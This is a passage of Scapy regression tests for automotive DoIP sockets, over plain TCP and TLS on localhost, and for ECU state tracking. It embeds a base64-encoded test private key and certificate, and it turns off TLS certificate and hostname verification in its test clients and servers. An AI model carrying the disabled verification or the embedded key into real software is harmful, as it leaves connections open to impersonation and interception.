tx_sock.send(pkt[DoIP]) ans, unans = rx_sock.sr(DoIP(bytes(DoIP(payload_type=0x8001, source_address=0xe80, target_address=0xe400) / UDS() / UDS_TP())), multi=True, timeout=0.1, verbose=False) cleanup_testsockets() ans.summary() if unans: unans.summary() assert len(ans) == 8 ans.summary() assert len(unans) == 0 + DoIP Communication tests = Load libraries import base64 import ssl import tempfile = Test DoIPSocket server_up = threading.Event() sniff_up = threading.Event() def server(): buffer = b'\x02\xfd\x80\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x02\xfd\x80\x01\x00\x00\x00\n\x10\x10\x0e\x80P\x03\x002\x01\xf4' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', 13400)) sock.listen(1) server_up.set() connection, address = sock.accept() sniff_up.wait(timeout=1) connection.send(buffer) connection.close() finally: sock.close() server_thread = threading.Thread(target=server) server_thread.start() server_up.wait(timeout=1) sock = DoIPSocket(activate_routing=False) pkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set) server_thread.join(timeout=1) assert len(pkts) == 2 = Test DoIPSocket 2 ~ linux server_up = threading.Event() sniff_up = threading.Event() def server(): buffer = b'\x02\xfd\x80\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x02\xfd\x80\x01\x00\x00\x00\n\x10\x10\x0e\x80P\x03\x002\x01\xf4' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', 13400)) sock.listen(1) server_up.set() try: connection, address = sock.accept() sniff_up.wait(timeout=1) for i in range(len(buffer)): connection.send(buffer[i:i+1]) time.sleep(0.01) finally: connection.close() finally: sock.close() server_thread = threading.Thread(target=server) server_thread.start() server_up.wait(timeout=1) sock = DoIPSocket(activate_routing=False) pkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set) server_thread.join(timeout=1) assert len(pkts) == 2 = Test DoIPSocket 2 enforce protocol_version ~ linux server_up = threading.Event() sniff_up = threading.Event() def server(): buffer = b'\x02\xfd\x80\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x02\xfd\x80\x01\x00\x00\x00\n\x10\x10\x0e\x80P\x03\x002\x01\xf4' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', 13400)) sock.listen(1) server_up.set() connection, address = sock.accept() try: sniff_up.wait(timeout=1) connection.send(buffer) doip_sock = DoIPSSLStreamSocket(connection) pkts = doip_sock.sniff(timeout=2, count=1) doip_sock.send(pkts[0]) finally: connection.close() finally: sock.close() server_thread = threading.Thread(target=server) server_thread.start() server_up.wait(timeout=1) sock = DoIPSocket(activate_routing=False, doip_version=3, enforce_doip_version=True) pkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set) sock.send(DoIP(payload_type=0x8001, source_address=0xe80, target_address=0xe400) / UDS() / UDS_TP()) pkts2 = sock.sniff(timeout=1, count=1) server_thread.join(timeout=1) assert len(pkts) == 2 assert len(pkts2) == 1 assert pkts2[0].protocol_version == 0x03 assert pkts2[0].inverse_version == 0xfc assert pkts2[0].payload_type == 0x8001 assert pkts2[0].service == 0x3E = Test DoIPSocket 3 server_up = threading.Event() sniff_up = threading.Event() def server(): buffer = b'\x02\xfd\x80\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x02\xfd\x80\x01\x00\x00\x00\n\x10\x10\x0e\x80P\x03\x002\x01\xf4' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', 13400)) sock.listen(1) server_up.set() connection, address = sock.accept() sniff_up.wait(timeout=1) while buffer: randlen = random.randint(0, len(buffer)) connection.send(buffer[:randlen]) buffer = buffer[randlen:] time.sleep(0.01) connection.close() finally: sock.close() server_thread = threading.Thread(target=server) server_thread.start() server_up.wait(timeout=1) sock = DoIPSocket(activate_routing=False) pkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set) server_thread.join(timeout=1) assert len(pkts) == 2 = Test DoIPSocket6 server_up = threading.Event() sniff_up = threading.Event() def server(): buffer = b'\x02\xfd\x80\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x02\xfd\x80\x01\x00\x00\x00\n\x10\x10\x0e\x80P\x03\x002\x01\xf4' sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) try: sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('::1', 13400)) sock.listen(1) server_up.set() connection, address = sock.accept() sniff_up.wait(timeout=1) connection.send(buffer) connection.close() finally: sock.close() server_thread = threading.Thread(target=server) server_thread.start() server_up.wait(timeout=1) sock = DoIPSocket(ip="::1", activate_routing=False) pkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set) server_thread.join(timeout=1) assert len(pkts) == 2 = Test DoIPSslSocket ~ broken_windows certstring = """ LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2QUlCQURBTkJna3Foa2lHOXcwQkFRRUZB QVNDQktZd2dnU2lBZ0VBQW9JQkFRRFUvK0hRbVpzSDl2QVcKQ3ZMQjRxalpnZFJSSXE1b2JBanB4 YUhoUGxCVEMvUlBzMHIxRVF0V0FtbXNEZFE3UGlLaCtYa1hES3pNY3lJSQp1a0ZpNThUQW1idGFj N0U5VmJHSnNlTWp2RkJKSkFqQXVtbFdRZk5XcSs2TkZhdmRkTDQrSTNBTVJ5TldJTkJYCjhHMzRo dldIbDdTOGhhSFFZN0FXcUZWVTNVL2xKR2pubnF3MEJraEIvVGRCTWIwM0habzkrVjIrWU9RZmk5 QWsKTVRSRXpSeWVObWJqT0sxbHpXdFJXWkZZU0RnMEtqUVh4SkdFNVc5MzFPWitHL1NkbytTM1ZW SVRPdWxQbHRmVwpXMEdjeCsvZERSNFIxNG5mcUl5L1daMElHUVNXMlRsQytmeGJ0dURDUkFqelRz b0J3YjJ0cnpoR0VtYVFveUtNCnpBKzVSUHNyQWdNQkFBRUNnZ0VBRUJHaEoyWm5OVHh5YVY5TnZY QjI1NDNZQnRUMGVSUHBhanJLMXg0bk1OU3oKNE9LNFVzWlo1MnBnTHRHT1EzZm1aS0l0cEo1WlY1 cVBUejdwN3VjUzhnQWNZUnNJUnpCMHA5d3FpWExMK3h0RApxUjB4dnR4VDJpUGlFblVNNndudHpr SHpKK0g0QkZLT2FvdjNaK3Fha2E1UmFCcmhheGRuaDBDNklLQmZtM3cyCm5zUWI2N0lCYWwrSnBs L1g5TENWRkdRT2owb0lmVWI5ZFp3OWQ3MCthSGVVb2xvMGdYZmxxcXFFcnl3ZDlPN2QKNnp4dGlx cnRyZUJhK1IraWs3NE1SK0xvaFNVR3o2VTRQaXhWQ3l1SnQ2U0hvRHR2L3dtSnltWDd2a0FRS2w1 RQplK1JqUGVyakpUWTNzNXNXbEd2V21UTEtEbnVyS2pBYzZUOHhKb0pXWlFLQmdRRHdsd2RRdmww S28wNHhDUmtiCklYRGVJZE1jZkp2ejRGZEtka1BmVnZVT2xHVEpNZkRzbWNoUzZhcEJCQUdQMUU2 VkN2VzJmUFdjaXhScHE3MW8KR2xtbWZ5RnlJRW0rL08yamMvSFRXWHp6Qjdoc0JISEltQklHczFU TC9iWFU3amhVQW5kWDdMK3RSRDBKNWRGVwpiN1VOOXNxaWdtRG42REJWZkxaUHgxRnlWUUtCZ1FE aXBIT1BhNmVMSlk5R1FZdkw3OTIyTHNoU3ZYSUFVMERGCjBabTlqbjM2b3ZIY0kvWEZDdHVXank2 WG9wbk9pbjlycmtUY2FDUnBvSEFNb00ycHdiR0tFY0dVVEY2RHQ3akYKRHVnd2srR21sbDkrbjM2 M3Iwb09YNktSbWFhRStiZHoyNjNQVEhMaktYUnFyc3h5WEtMT3ZyTXhVNWNzMXJCeQpTMWI2ZGhr M2Z3S0JnRjlONUliMnNkS3ArQ3B5aVRCM0ljZk1yRjBuZTN1ekRjRWdjaWlCd05lQ3J4NElHNEVP Ck5nMnFKRmhXNXV0NzFaa3kyenpyNlR1VzJJSTNsdk1ySlFKUWNBWk9oZ2dURjJ2ZFhSazA1TXM4 N3JCVFhtTncKNGdzbmROck42UDZ0VTBEc0xTeDJTME91dVdNM1Y2S2U0NkRoZDBuQ3pmSnZ4dDNH WmszYURnaDFBb0dBWFhIcQpoNDZlZEx1V3VDUGNUTWhvUkc1RGdBSEdHQ1k3UlpTbTY4WHRZVUov c0FGUG10OWdMRko2cG1DUFE5NU1yUXdjCkxqZnVFM0xuMy8wSTd0NENvbWV4eGNBN0U5blRIOFNH clVpN3QrQzJITklNQUJZUTFaNU91L042K2Nhd0FkL28KYU5rZllWTzlRU015L2svOWZIcWFEVk5t dUVFSVhRZDlKQ1UvUG1jQ2dZQWI0RTBRWTdDZmlrV293OFIzSlhoZgo0MHFVVkdud09QKzJNbXE5 d2ZmWkpTRHNFSTQvb2g0VGRnN0sybHNNazVsWnRaMyszTjljSDVUc1pMYlJtd2FMCm9sRVl6K1BB WU91MlMrY1l2bFlNL0V2WmlpRHJybjZuTStNbTNnaXJPYkNwMzcxd1ZxRFVsUnB4OUlwWVdYcnAK T3YxUXFHdXkwODdyQkk1cStWL3hqQT09Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0KLS0tLS1C RUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUQ3VENDQXRXZ0F3SUJBZ0lVVTNsendsTVNSa294Tkdk SFJzZllIcUtxcDAwd0RRWUpLb1pJaHZjTkFRRUwKQlFBd2dZVXhDekFKQmdOVkJBWVRBa1JGTVJN d0VRWURWUVFJREFwVGIyMWxMVk4wWVhSbE1Rd3dDZ1lEVlFRSApEQU5TUlVjeEVUQVBCZ05WQkFv TUNHUnBjM05sWTNSdk1Rd3dDZ1lEVlFRTERBTkVSVll4RFRBTEJnTlZCQU1NCkJGUkZVMVF4SXpB aEJna3Foa2lHOXcwQkNRRVdGR052Ym5SaFkzUXRkWE5BWkdsemMyVmpMblJ2TUI0WERUSTAKTURN eE9ERTVNek13TlZvWERUSTBNRFF4TnpFNU16TXdOVm93Z1lVeEN6QUpCZ05WQkFZVEFrUkZNUk13 RVFZRApWUVFJREFwVGIyMWxMVk4wWVhSbE1Rd3dDZ1lEVlFRSERBTlNSVWN4RVRBUEJnTlZCQW9N Q0dScGMzTmxZM1J2Ck1Rd3dDZ1lEVlFRTERBTkVSVll4RFRBTEJnTlZCQU1NQkZSRlUxUXhJekFo QmdrcWhraUc5dzBCQ1FFV0ZHTnYKYm5SaFkzUXRkWE5BWkdsemMyVmpMblJ2TUlJQklqQU5CZ2tx aGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQwpBUUVBMVAvaDBKbWJCL2J3RmdyeXdlS28yWUhV VVNLdWFHd0k2Y1doNFQ1UVV3djBUN05LOVJFTFZnSnByQTNVCk96NGlvZmw1Rnd5c3pITWlDTHBC WXVmRXdKbTdXbk94UFZXeGliSGpJN3hRU1NRSXdMcHBWa0h6VnF2dWpSV3IKM1hTK1BpTndERWNq VmlEUVYvQnQrSWIxaDVlMHZJV2gwR093RnFoVlZOMVA1U1JvNTU2c05BWklRZjAzUVRHOQpOeDJh UGZsZHZtRGtINHZRSkRFMFJNMGNualptNHppdFpjMXJVVm1SV0VnNE5DbzBGOFNSaE9WdmQ5VG1m aHYwCm5hUGt0MVZTRXpycFQ1YlgxbHRCbk1mdjNRMGVFZGVKMzZpTXYxbWRDQmtFbHRrNVF2bjhX N2Jnd2tRSTgwN0sKQWNHOXJhODRSaEpta0tNaWpNd1B1VVQ3S3dJREFRQUJvMU13VVRBZEJnTlZI UTRFRmdRVVZhbUFkUjR1ZW8zQgpmV0RjUlMyUkQ3OEtlZXd3SHdZRFZSMGpCQmd3Rm9BVVZhbUFk UjR1ZW8zQmZXRGNSUzJSRDc4S2Vld3dEd1lEClZSMFRBUUgvQkFVd0F3RUIvekFOQmdrcWhraUc5 dzBCQVFzRkFBT0NBUUVBRjE1TTNvL3RyUVdYeHdHamlxZjgKNXBUTEM0bHJwQkZaTFZDbStQdHd4 aENlN1ZSd2dLMElBb01EMW0vSjNEYnVJSjVURXlTVElnR2N0WHVNbG5pWgpsY3IwekZOZVVhQ08w YkdhaExYUXpCWTRxSkhTTUNWNnhiNXNqUDlEdk9HYnFxbHVTbk51ZFJ5UWNIbkd4SE0rCk1adXpO WUNseklOMEtYbFJuSTZqRXUrcG9XZ0pEMGN1NFM2b1lwT2R3bElRYmtaNnIrUE1jQ3hpRmhRd3E2 em4KcE1nQzB0WlpSM3pCOEpVcTJwRHlGVy9jVlFjWkp5YUhnQkkwWlJWWG5wbDFqYng2YlNIOCts cnMxVk1xZDlkcQozd1BMcjBheWI2VkpNa29WMjNWSXAzLzlYQVpTR3Z6Y0dadnM2VThSUTdFbUtx akJibWxudm1CTkpUMk9xbFFRCllRPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=""" certstring = certstring.replace('\n', '') def _load_certificate_chain(context) -> None: with tempfile.NamedTemporaryFile(delete=False) as fp: fp.write(base64.b64decode(certstring)) fp.close() context.load_cert_chain(fp.name) server_up = threading.Event() sniff_up = threading.Event() def server(): context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) _load_certificate_chain(context) context.check_hostname = False context.verify_mode = ssl.CERT_NONE buffer = b'\x02\xfd\x80\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x02\xfd\x80\x01\x00\x00\x00\n\x10\x10\x0e\x80P\x03\x002\x01\xf4' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ssock = context.wrap_socket(sock) try: ssock.bind(('127.0.0.1', 3496)) ssock.listen(1) server_up.set() connection, address = ssock.accept() sniff_up.wait(timeout=1) connection.send(buffer) connection.close() finally: ssock.close() server_thread = threading.Thread(target=server) server_thread.start() server_up.wait(timeout=1) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = DoIPSocket(activate_routing=False, force_tls=True, context=context) pkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set) server_thread.join(timeout=1) assert len(pkts) == 2 = Test DoIPSslSocket6 ~ broken_windows server_up = threading.Event() sniff_up = threading.Event() def server(): context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) _load_certificate_chain(context) context.check_hostname = False context.verify_mode = ssl.CERT_NONE buffer = b'\x02\xfd\x80\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x02\xfd\x80\x01\x00\x00\x00\n\x10\x10\x0e\x80P\x03\x002\x01\xf4' sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ssock = context.wrap_socket(sock) try: ssock.bind(('::1', 3496)) ssock.listen(1) server_up.set() connection, address = ssock.accept() sniff_up.wait(timeout=1) connection.send(buffer) connection.close() finally: ssock.close() server_thread = threading.Thread(target=server) server_thread.start() server_up.wait(timeout=1) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = DoIPSocket(ip="::1", activate_routing=False, force_tls=True, context=context) pkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set) server_thread.join(timeout=1) assert len(pkts) == 2 = Test UDS_DoIPSslSocket6 ~ broken_windows server_up = threading.Event() sniff_up = threading.Event() def server(): context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) _load_certificate_chain(context) context.check_hostname = False context.verify_mode = ssl.CERT_NONE buffer = b'\x02\xfd\x80\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x02\xfd\x80\x01\x00\x00\x00\n\x10\x10\x0e\x80P\x03\x002\x01\xf4' sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ssock = context.wrap_socket(sock) try: ssock.bind(('::1', 3496)) ssock.listen(1) server_up.set() connection, address = ssock.accept() sniff_up.wait(timeout=1) connection.send(buffer) connection.close() finally: ssock.close() server_thread = threading.Thread(target=server) server_thread.start() server_up.wait(timeout=1) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = UDS_DoIPSocket(ip="::1", activate_routing=False, force_tls=True, context=context) pkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set) server_thread.join(timeout=1) assert len(pkts) == 2 = Test UDS_DualDoIPSslSocket6 ~ broken_windows not_pypy server_tcp_up = threading.Event() server_tls_up = threading.Event() sniff_up = threading.Event() def server_tls(): context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) _load_certificate_chain(context) context.check_hostname = False context.verify_mode = ssl.CERT_NONE buffer = bytes.fromhex("02fd0006000000090e8011061000000000") buffer += b'\x02\xfd\x80\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x02\xfd\x80\x01\x00\x00\x00\n\x10\x10\x0e\x80P\x03\x002\x01\xf4' sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ssock = context.wrap_socket(sock) try: ssock.bind(('::1', 3496)) ssock.listen(1) server_tls_up.set() connection, address = ssock.accept() sniff_up.wait(timeout=1) connection.send(buffer) connection.close() finally: ssock.close() def server_tcp(): buffer = bytes.fromhex("02fd0006000000090e8011060700000000") sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) try: sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('::1', 13400)) sock.listen(1) server_tcp_up.set() connection, address = sock.accept() connection.send(buffer) connection.shutdown(socket.SHUT_RDWR) connection.close() finally: sock.close() server_tcp_thread = threading.Thread(target=server_tcp) server_tcp_thread.start() server_tcp_up.wait(timeout=1) server_tls_thread = threading.Thread(target=server_tls) server_tls_thread.start() server_tls_up.wait(timeout=1) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = UDS_DoIPSocket(ip="::1", context=context) pkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set) server_tcp_thread.join(timeout=1) server_tls_thread.join(timeout=1) assert len(pkts) == 2 = Test UDS_DualDoIPSslSocket6 force version 3 ~ broken_windows not_pypy server_tcp_up = threading.Event() server_tls_up = threading.Event() sniff_up = threading.Event() def server_tls(): context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) _load_certificate_chain(context) context.check_hostname = False context.verify_mode = ssl.CERT_NONE buffer = bytes.fromhex("03fc0006000000090e8011061000000000") buffer += b'\x03\xfc\x80\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x03\xfc\x80\x01\x00\x00\x00\n\x10\x10\x0e\x80P\x03\x002\x01\xf4' sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ssock = context.wrap_socket(sock) try: ssock.bind(('::1', 3496)) ssock.listen(1) server_tls_up.set() connection, address = ssock.accept() sniff_up.wait(timeout=1) connection.send(buffer) connection.close() finally: ssock.close() def server_tcp(): buffer = bytes.fromhex("03fc0006000000090e8011060700000000") sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) try: sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('::1', 13400)) sock.listen(1) server_tcp_up.set() connection, address = sock.accept() connection.send(buffer) connection.shutdown(socket.SHUT_RDWR) connection.close() finally: sock.close() server_tcp_thread = threading.Thread(target=server_tcp) server_tcp_thread.start() server_tcp_up.wait(timeout=1) server_tls_thread = threading.Thread(target=server_tls) server_tls_thread.start() server_tls_up.wait(timeout=1) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE conf.debug_dissector = True sock = UDS_DoIPSocket(ip="::1", context=context, doip_version=3, enforce_doip_version=True) pkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set) server_tcp_thread.join(timeout=1) server_tls_thread.join(timeout=1) assert len(pkts) == 2 ================================================ FILE: test/contrib/automotive/ecu.uts ================================================ % Regression tests for the Ecu utility # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Setup ~ conf command = Load modules import copy import itertools load_contrib("isotp", globals_dict=globals()) load_contrib("automotive.uds", globals_dict=globals()) load_contrib("automotive.gm.gmlan", globals_dict=globals()) load_layer("can", globals_dict=globals()) conf.contribs["CAN"]["swap-bytes"] = True = Load Ecu module load_contrib("automotive.ecu", globals_dict=globals()) from scapy.contrib.automotive.uds_ecu_states import * from scapy.contrib.automotive.uds_logging import * from scapy.contrib.automotive.gm.gmlan_ecu_states import * from scapy.contrib.automotive.gm.gmlan_logging import * + EcuState Basic checks = Check EcuState basic functionality state = EcuState() state["session"] = 2 state["securityAccess"] = 4 print(repr(state)) assert repr(state) == "securityAccess4session2" = More complex tests state = EcuState(ses=4) assert state.ses == 4 state.ses = 5 assert state.ses == 5 = Even more complex tests state = EcuState(myinfo="42") state.ses = 5 assert state.ses == 5 state["ses"] = None assert state.ses is None state.ses = 5 assert 5 == state.ses assert "42" == state.myinfo assert repr(state) == "myinfo42ses5" = Delete Attribute Test state = EcuState(myinfo="42") state.ses = 5 assert state.ses == 5 del state.ses try: x = state.ses assert False except (KeyError, AttributeError): assert state.myinfo == "42" = Copy tests state = EcuState(myinfo="42") state.ses = 5 ns = copy.copy(state) ns.ses = 6 assert ns.ses == 6 assert state.ses == 5 assert ns.myinfo == "42" = Move tests state = EcuState(myinfo="42") state.ses = 5 ns = state ns.ses = 6 assert ns.ses == 6 assert state.ses == 6 assert ns.myinfo == "42" = equal tests state = EcuState(myinfo="42") state.ses = 5 ns = copy.copy(state) assert state == ns assert hash(state) == hash(ns) ns.ses = 6 assert state != ns assert hash(state) != hash(ns) ns.ses = 5 assert state == ns assert hash(state) == hash(ns) ns.sa = 5 assert state != ns assert hash(state) != hash(ns) = hash tests state = EcuState(myinfo="42") state.ses = 5 ns = copy.copy(state) assert hash(state) == hash(ns) ns.ses = 6 assert hash(state) != hash(ns) ns.ses = 5 assert hash(state) == hash(ns) ns.sa = 5 assert hash(state) != hash(ns) = command tests state = EcuState(myinfo="42") state.ses = 5 state.command() assert "EcuState(myinfo='42', ses=5)" == state.command() = less than tests s1 = EcuState() s2 = EcuState() s1.a = 1 s2.a = 2 assert s1 < s2 s1.b = 4 assert s1 > s2 s2.b = 1 assert s1 < s2 s1.a = 2 assert s1 > s2 = less than tests 2 s1 = EcuState() s2 = EcuState() s1.c = "x" s2.c = 4 exception = False try: assert s1 < s2 except TypeError: exception = True assert exception = less than tests 3 s1 = EcuState() s2 = EcuState() s1.A = 1 s1.a = 2 s2.A = 2 s2.a = 1 assert s1 < s2 = less than tests 4 s1 = EcuState() s2 = EcuState() s1.A = 1 s1.a = 2 s2.A = 2 s2.b = 100 assert s1 < s2 = less than tests 5 s1 = EcuState() s2 = EcuState() s1.A = 100 s1.a = 2 s2.A = 2 s2.b = 100 assert s1 > s2 assert not s1 > s1 assert not s1 < s1 = less than tests 6 s1 = EcuState() s2 = EcuState() s1.A = 100 s1.B = 200 s2.a = 2 s2.b = 1 assert s1 < s2 = contains test s1 = EcuState(ses=[1,2,3]) s2 = EcuState(ses=1) assert s1 != s2 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=[2,3]) s2 = EcuState(ses=1) assert s1 != s2 assert s2 not in s1 assert s1 not in s2 s1 = EcuState(ses=[1,2,3], security=5) s2 = EcuState(ses=1) assert s1 != s2 assert s2 not in s1 assert s1 not in s2 s1 = EcuState(ses=range(4), security=[None, 5]) s2 = EcuState(ses=1) assert s1 != s2 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=range(4), security=[None, 5]) s2 = EcuState(ses=range(2)) assert s1 != s2 assert s2 < s1 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=range(4), security=[None, 5]) s2 = EcuState(ses=range(2), security=5) assert s1 != s2 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=range(4), security=[None, 5]) s2 = EcuState(ses=range(5)) assert s1 != s2 assert s2 not in s1 assert s1 not in s2 s1 = EcuState(ses=range(4), security=[None, range(5)]) s2 = EcuState(ses=3) print(s1._expand()) print(s2._expand()) assert s1 != s2 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=range(4), security=[None, range(5), [5, 7, range(4), [range(10), 10]]]) s2 = EcuState(ses=3, security=10) print(s1._expand()) print(s2._expand()) assert s1 != s2 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=range(4), security=[None, range(5), [5, 7, range(4), [range(10), "B"]]]) s2 = EcuState(ses=3, security="B") print(s1._expand()) print(s2._expand()) assert s1 != s2 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=range(4), security=[None, range(5), [5, 7, range(4), [range(10), "B"]]]) s2 = EcuState(ses=3, security="C") print(s1._expand()) print(s2._expand()) assert s1 != s2 assert s2 not in s1 assert s1 not in s2 s1 = EcuState(ses=range(3), security=5) s2 = EcuState(ses=1, security=5) assert s1 != s2 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=range(3), security=(x for x in range(1, 10, 2))) s2 = EcuState(ses=1, security=5) assert s1 != s2 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=[1,2,3]) s2 = EcuState(ses=[1,2,3]) assert s1 in s2 assert s2 in s1 assert s1 == s2 s1 = EcuState(ses=1) s2 = EcuState(ses=1) assert s1 in s2 assert s2 in s1 assert s1 == s2 s1 = EcuState(ses=range(3), security=range(5)) for ses, sec in itertools.product(range(3), range(5)): s2 = EcuState(ses=ses, security=sec) assert s1 != s2 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=[0, 1, 2], security=[43, 44]) for ses, sec in itertools.product(range(3), range(43, 45)): s2 = EcuState(ses=ses, security=sec) assert s1 != s2 assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=[0, 1, 2], security=["a", "b"]) for ses, sec in itertools.product(range(3), (x for x in "ab")): s2 = EcuState(ses=ses, security=sec) assert s1 != s2 assert s2 in s1 try: assert s1 not in s2 except TypeError: assert True s1 = [EcuState(ses=1), EcuState(ses=2), EcuState(ses=3)] s2 = EcuState(ses=3) assert s2 in s1 assert s1 not in s2 s1 = EcuState(ses=1, sa="SEC") s2 = EcuState(ses=1, sa="SOC") assert s1 not in s2 assert s2 not in s1 assert s1 != s2 s1 = EcuState(ses=1, sa="SEC") s2 = EcuState(ses=1, sa="SEC") assert s1 in s2 assert s2 in s1 assert s1 == s2 s1 = EcuState(ses=1, sa="SEC") s2 = EcuState(ses=1, sa=["SEC", "SOL"]) assert s1 in s2 assert s2 not in s1 assert s1 != s2 s1 = EcuState(ses=1, sa=b"SEC") s2 = EcuState(ses=1, sa=[b"SEC", "SOL"]) assert s1 in s2 assert s2 not in s1 assert s1 != s2 + EcuState modification tests = Basic definitions for tests class myPack1(Packet): fields_desc = [ IntField("fakefield", 1) ] class myPack2(Packet): fields_desc = [ IntField("statefield", 1) ] @EcuState.extend_pkt_with_modifier(myPack2) def modify_ecu_state(self, req, ecustate): # type: (Packet, Packet, EcuState) -> None ecustate.state = self.statefield pkt = myPack1()/myPack2() st = EcuState() exception = False try: assert st.state == 1 except AttributeError: exception = True assert exception == True assert EcuState.is_modifier_pkt(pkt) assert not EcuState.is_modifier_pkt(myPack1()) mod = EcuState.get_modified_ecu_state(pkt, Raw(), st) assert mod != st assert mod.state ==1 pkt2 = myPack1()/myPack1()/myPack1()/myPack2(statefield=5) mod2 = EcuState.get_modified_ecu_state(pkt2, Raw(), mod) assert mod != mod2 assert mod < mod2 pkt2 = myPack1()/myPack1()/myPack1()/myPack2(statefield=4)/myPack2(statefield=5) mod2 = EcuState.get_modified_ecu_state(pkt2, Raw(), mod) mod.state = 5 assert mod != mod2 assert mod > mod2 + EcuResponse tests = Basic checks resp = EcuResponse(EcuState(session=1), UDS()/UDS_DSCPR(b"\x03")) assert not resp.supports_state(EcuState()) assert not resp.supports_state(EcuState(session=2)) assert resp.supports_state(EcuState(session=1)) assert resp.answers(UDS()/UDS_DSC(b"\x03")) = Command checks resp = EcuResponse(EcuState(session=1), UDS()/UDS_DSCPR(b"\x03")) cmd = resp.command() print(cmd) resp1 = eval(cmd) assert resp1 == resp = Command checks 2 p1 = 